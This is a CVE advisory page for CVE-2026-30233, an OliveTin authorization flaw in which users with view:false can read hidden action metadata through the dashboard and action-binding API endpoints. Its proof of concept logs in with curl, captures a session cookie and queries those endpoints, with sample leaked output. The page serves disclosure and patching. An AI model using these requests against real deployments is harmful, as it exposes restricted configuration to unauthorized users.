CVE-2026-30233
JSON

6.5medium

OliveTin: View permission not being checked when returning dashboards

Severity
6.5medium CVSS:3.1 by GitHub_M
Exploit likelihood
0.60% (higher than 43% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-jf73-858c-54pgGO-2026-4629

Description

OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. This issue has been patched in version 3000.11.1.

Affected

Product or packageVersionsReported by
OliveTin OliveTin< 3000.11.1, before 3000.11.1CVE List, NVD
github.com/OliveTin/OliveTin (Go)before 0.0.0-20260305082002-d7962710e7c4GitHub Advisory Database, Go Vulnerability Database

All scores

GitHub_M6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
GitHub6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
NVD4.3medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Classification

CWE-200CWE-862

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. This issue has been patched in version 3000.11.1.

GitHub Advisory Database
Summary

An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.

Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.

Details

OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.

Relevant source locations:

dashboards.go (around line 120, 132) apiActions.go (around line 122) acl.go (around line 125) api.go (around line 430)

Dashboard building logic:

for _, binding := range rr.ex.MapActionBindings {
    if binding.Action.Hidden { continue }
    action := buildAction(binding, rr) // checks IsAllowedExec only
    fieldset.Contents = append(fieldset.Contents, ...)
}

Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).

PoC
  1. Configure OliveTin with a restricted user:

Create config.yaml:

authRequireGuestsToLogin: true

authLocalUsers:
  enabled: true
  users:
    - username: admin
      password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4"  # password: admin123
      permissions:
        view: true
        exec: true
        logs: true
    
    - username: low
      password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4"  # password: low123
      permissions:
        view: false   # Should hide all actions
        exec: false
        logs: false

actions:
  - title: "Secret Action"
    id: secret_action
    shell: echo "sensitive operation"
    icon: "馃敀"
    description: "This action should be completely hidden"
    arguments:
      - name: target
        title: Target
        type: string
        default: production
  1. Start OliveTin with this configuration

  2. Login as low-privilege user and capture session ID:

# Login as low user
LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"low123"}' \
  | awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')

echo "Low user SID: $LOW_SID"
  1. Verify the web UI respects view:false (optional but illustrative):

Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI.

  1. Test 1: GetDashboard endpoint leaks action metadata:
curl -s -X POST http://localhost:1337/api/GetDashboard \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"title":"Actions"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId=="secret_action")'

Expected behavior (if fixed): Empty result or no matching action Observed behavior (vulnerable):

{
  "action": {
    "bindingId": "secret_action",
    "title": "Secret Action",
    "icon": "馃敀",
    "description": "This action should be completely hidden",
    "canExec": false,
    "arguments": [
      {
        "name": "target",
        "title": "Target",
        "type": "string",
        "default": "production"
      }
    ]
  }
}
  1. Test 2: GetActionBinding endpoint directly exposes action details:
curl -s -X POST http://localhost:1337/api/GetActionBinding \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"bindingId":"secret_action"}' | jq '.'

Expected behavior (if fixed): HTTP 403 Permission Denied Observed behavior (vulnerable):

{
  "action": {
    "bindingId": "secret_action",
    "title": "Secret Action",
    "icon": "馃敀",
    "description": "This action should be completely hidden",
    "canExec": false,
    "arguments": [...]
  }
}
Go Vulnerability Database

OliveTin doesn't check view permission when returning dashboards in github.com/OliveTin/OliveTin

NVD (es)

OliveTin permite el acceso a comandos shell predefinidos desde una interfaz web. Antes de la versi贸n 3000.11.1, una falla de autorizaci贸n en OliveTin permite a usuarios autenticados con permiso view: false enumerar enlaces de acci贸n y metadatos a trav茅s de los puntos finales del panel de control y la API. Aunque la ejecuci贸n (exec) puede ser denegada correctamente, el backend no aplica IsAllowedView() al construir las respuestas del panel de control y los enlaces de acci贸n. Como resultado, los usuarios restringidos pueden recuperar t铆tulos de acci贸n, IDs, iconos y metadatos de argumentos. Este problema ha sido parcheado en la versi贸n 3000.11.1.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-30233 changed 2026-03-09CVE Terms of Use
GitHub Advisory DatabaseGHSA-jf73-858c-54pg changed 2026-03-23CC-BY-4.0
Go Vulnerability DatabaseGO-2026-4629 changed 2026-03-23CC-BY-4.0
NVDCVE-2026-30233 changed 2026-06-17Public domain